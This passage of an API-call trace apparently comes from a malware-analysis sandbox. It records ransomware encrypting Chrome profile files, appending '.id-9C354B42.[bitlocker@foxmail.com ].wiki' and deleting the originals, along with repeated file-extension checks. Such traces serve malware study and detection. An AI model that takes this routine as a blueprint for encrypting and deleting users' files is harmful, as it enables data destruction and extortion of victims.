halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.681] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.681] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0178.683] GetLastError () returned 0x0 [0178.683] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x8b43, lpOverlapped=0x0) returned 1 [0178.686] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x8b50, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x8b50, lpOverlapped=0x0) returned 1 [0178.687] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.687] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0178.688] SetEndOfFile (hFile=0x124) returned 1 [0178.688] CloseHandle (hObject=0x124) returned 1 [0178.688] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.688] SetEndOfFile (hFile=0x334) returned 1 [0178.689] CloseHandle (hObject=0x334) returned 1 [0178.689] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.689] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences")) returned 1 [0178.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.689] lstrlenW (lpString=".doc") returned 4 [0178.689] lstrcmpiW (lpString1=".doc", lpString2="nces") returned -1 [0178.689] lstrlenW (lpString=".docx") returned 5 [0178.689] lstrcmpiW (lpString1=".docx", lpString2="ences") returned -1 [0178.689] lstrlenW (lpString=".pdf") returned 4 [0178.689] lstrcmpiW (lpString1=".pdf", lpString2="nces") returned -1 [0178.689] lstrlenW (lpString=".xls") returned 4 [0178.690] lstrcmpiW (lpString1=".xls", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString=".xlsx") returned 5 [0178.690] lstrcmpiW (lpString1=".xlsx", lpString2="ences") returned -1 [0178.690] lstrlenW (lpString=".ppt") returned 4 [0178.690] lstrcmpiW (lpString1=".ppt", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.690] lstrlenW (lpString=".zip") returned 4 [0178.690] lstrcmpiW (lpString1=".zip", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString=".rar") returned 4 [0178.690] lstrcmpiW (lpString1=".rar", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString=".bz2") returned 4 [0178.690] lstrcmpiW (lpString1=".bz2", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString=".7z") returned 3 [0178.690] lstrcmpiW (lpString1=".7z", lpString2="ces") returned -1 [0178.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.690] lstrlenW (lpString=".dbf") returned 4 [0178.690] lstrcmpiW (lpString1=".dbf", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.690] lstrlenW (lpString=".1cd") returned 4 [0178.690] lstrcmpiW (lpString1=".1cd", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.690] lstrlenW (lpString=".jpg") returned 4 [0178.690] lstrcmpiW (lpString1=".jpg", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.690] lstrlenW (lpString=".doc") returned 4 [0178.690] lstrcmpiW (lpString1=".doc", lpString2="nces") returned -1 [0178.690] lstrlenW (lpString=".docx") returned 5 [0178.690] lstrcmpiW (lpString1=".docx", lpString2="ences") returned -1 [0178.690] lstrlenW (lpString=".pdf") returned 4 [0178.691] lstrcmpiW (lpString1=".pdf", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString=".xls") returned 4 [0178.691] lstrcmpiW (lpString1=".xls", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString=".xlsx") returned 5 [0178.691] lstrcmpiW (lpString1=".xlsx", lpString2="ences") returned -1 [0178.691] lstrlenW (lpString=".ppt") returned 4 [0178.691] lstrcmpiW (lpString1=".ppt", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.691] lstrlenW (lpString=".zip") returned 4 [0178.691] lstrcmpiW (lpString1=".zip", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString=".rar") returned 4 [0178.691] lstrcmpiW (lpString1=".rar", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString=".bz2") returned 4 [0178.691] lstrcmpiW (lpString1=".bz2", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString=".7z") returned 3 [0178.691] lstrcmpiW (lpString1=".7z", lpString2="ces") returned -1 [0178.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.691] lstrlenW (lpString=".dbf") returned 4 [0178.691] lstrcmpiW (lpString1=".dbf", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.691] lstrlenW (lpString=".1cd") returned 4 [0178.691] lstrcmpiW (lpString1=".1cd", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 94 [0178.691] lstrlenW (lpString=".jpg") returned 4 [0178.691] lstrcmpiW (lpString1=".jpg", lpString2="nces") returned -1 [0178.691] lstrlenW (lpString="Shortcuts") returned 9 [0178.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.692] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=12288) returned 1 [0178.692] CloseHandle (hObject=0x334) returned 1 [0178.692] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts")) returned 0x2020 [0178.692] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.692] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.692] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0178.693] GetLastError () returned 0x0 [0178.693] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x3000, lpOverlapped=0x0) returned 1 [0178.694] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x3010, lpOverlapped=0x0) returned 1 [0178.696] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.696] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0178.696] SetEndOfFile (hFile=0x124) returned 1 [0178.696] CloseHandle (hObject=0x124) returned 1 [0178.696] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.696] SetEndOfFile (hFile=0x334) returned 1 [0178.697] CloseHandle (hObject=0x334) returned 1 [0178.697] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.697] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts")) returned 1 [0178.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.697] lstrlenW (lpString=".doc") returned 4 [0178.697] lstrcmpiW (lpString1=".doc", lpString2="cuts") returned -1 [0178.697] lstrlenW (lpString=".docx") returned 5 [0178.697] lstrcmpiW (lpString1=".docx", lpString2="tcuts") returned -1 [0178.697] lstrlenW (lpString=".pdf") returned 4 [0178.697] lstrcmpiW (lpString1=".pdf", lpString2="cuts") returned -1 [0178.697] lstrlenW (lpString=".xls") returned 4 [0178.697] lstrcmpiW (lpString1=".xls", lpString2="cuts") returned -1 [0178.697] lstrlenW (lpString=".xlsx") returned 5 [0178.698] lstrcmpiW (lpString1=".xlsx", lpString2="tcuts") returned -1 [0178.698] lstrlenW (lpString=".ppt") returned 4 [0178.698] lstrcmpiW (lpString1=".ppt", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.698] lstrlenW (lpString=".zip") returned 4 [0178.698] lstrcmpiW (lpString1=".zip", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString=".rar") returned 4 [0178.698] lstrcmpiW (lpString1=".rar", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString=".bz2") returned 4 [0178.698] lstrcmpiW (lpString1=".bz2", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString=".7z") returned 3 [0178.698] lstrcmpiW (lpString1=".7z", lpString2="uts") returned -1 [0178.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.698] lstrlenW (lpString=".dbf") returned 4 [0178.698] lstrcmpiW (lpString1=".dbf", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.698] lstrlenW (lpString=".1cd") returned 4 [0178.698] lstrcmpiW (lpString1=".1cd", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.698] lstrlenW (lpString=".jpg") returned 4 [0178.698] lstrcmpiW (lpString1=".jpg", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.698] lstrlenW (lpString=".doc") returned 4 [0178.698] lstrcmpiW (lpString1=".doc", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString=".docx") returned 5 [0178.698] lstrcmpiW (lpString1=".docx", lpString2="tcuts") returned -1 [0178.698] lstrlenW (lpString=".pdf") returned 4 [0178.698] lstrcmpiW (lpString1=".pdf", lpString2="cuts") returned -1 [0178.698] lstrlenW (lpString=".xls") returned 4 [0178.698] lstrcmpiW (lpString1=".xls", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString=".xlsx") returned 5 [0178.699] lstrcmpiW (lpString1=".xlsx", lpString2="tcuts") returned -1 [0178.699] lstrlenW (lpString=".ppt") returned 4 [0178.699] lstrcmpiW (lpString1=".ppt", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.699] lstrlenW (lpString=".zip") returned 4 [0178.699] lstrcmpiW (lpString1=".zip", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString=".rar") returned 4 [0178.699] lstrcmpiW (lpString1=".rar", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString=".bz2") returned 4 [0178.699] lstrcmpiW (lpString1=".bz2", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString=".7z") returned 3 [0178.699] lstrcmpiW (lpString1=".7z", lpString2="uts") returned -1 [0178.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.699] lstrlenW (lpString=".dbf") returned 4 [0178.699] lstrcmpiW (lpString1=".dbf", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.699] lstrlenW (lpString=".1cd") returned 4 [0178.699] lstrcmpiW (lpString1=".1cd", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 85 [0178.699] lstrlenW (lpString=".jpg") returned 4 [0178.699] lstrcmpiW (lpString1=".jpg", lpString2="cuts") returned -1 [0178.699] lstrlenW (lpString="Shortcuts-journal") returned 17 [0178.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.700] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0178.700] CloseHandle (hObject=0x334) returned 1 [0178.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.700] lstrlenW (lpString=".doc") returned 4 [0178.700] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.700] lstrlenW (lpString=".docx") returned 5 [0178.700] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.700] lstrlenW (lpString=".pdf") returned 4 [0178.700] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.700] lstrlenW (lpString=".xls") returned 4 [0178.700] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString=".xlsx") returned 5 [0178.701] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.701] lstrlenW (lpString=".ppt") returned 4 [0178.701] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.701] lstrlenW (lpString=".zip") returned 4 [0178.701] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString=".rar") returned 4 [0178.701] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString=".bz2") returned 4 [0178.701] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString=".7z") returned 3 [0178.701] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.701] lstrlenW (lpString=".dbf") returned 4 [0178.701] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.701] lstrlenW (lpString=".1cd") returned 4 [0178.701] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.701] lstrlenW (lpString=".jpg") returned 4 [0178.701] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.701] lstrlenW (lpString=".doc") returned 4 [0178.701] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.701] lstrlenW (lpString=".docx") returned 5 [0178.702] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.702] lstrlenW (lpString=".pdf") returned 4 [0178.702] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString=".xls") returned 4 [0178.702] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString=".xlsx") returned 5 [0178.702] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.702] lstrlenW (lpString=".ppt") returned 4 [0178.702] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.702] lstrlenW (lpString=".zip") returned 4 [0178.702] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString=".rar") returned 4 [0178.702] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString=".bz2") returned 4 [0178.702] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString=".7z") returned 3 [0178.702] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.702] lstrlenW (lpString=".dbf") returned 4 [0178.702] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.702] lstrlenW (lpString=".1cd") returned 4 [0178.702] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 93 [0178.702] lstrlenW (lpString=".jpg") returned 4 [0178.702] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.703] lstrlenW (lpString="CURRENT") returned 7 [0178.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.704] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=16) returned 1 [0178.704] CloseHandle (hObject=0x334) returned 1 [0178.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current")) returned 0x2020 [0178.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.704] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.704] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0178.705] GetLastError () returned 0x0 [0178.705] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x10, lpOverlapped=0x0) returned 1 [0178.706] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20, lpOverlapped=0x0) returned 1 [0178.706] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 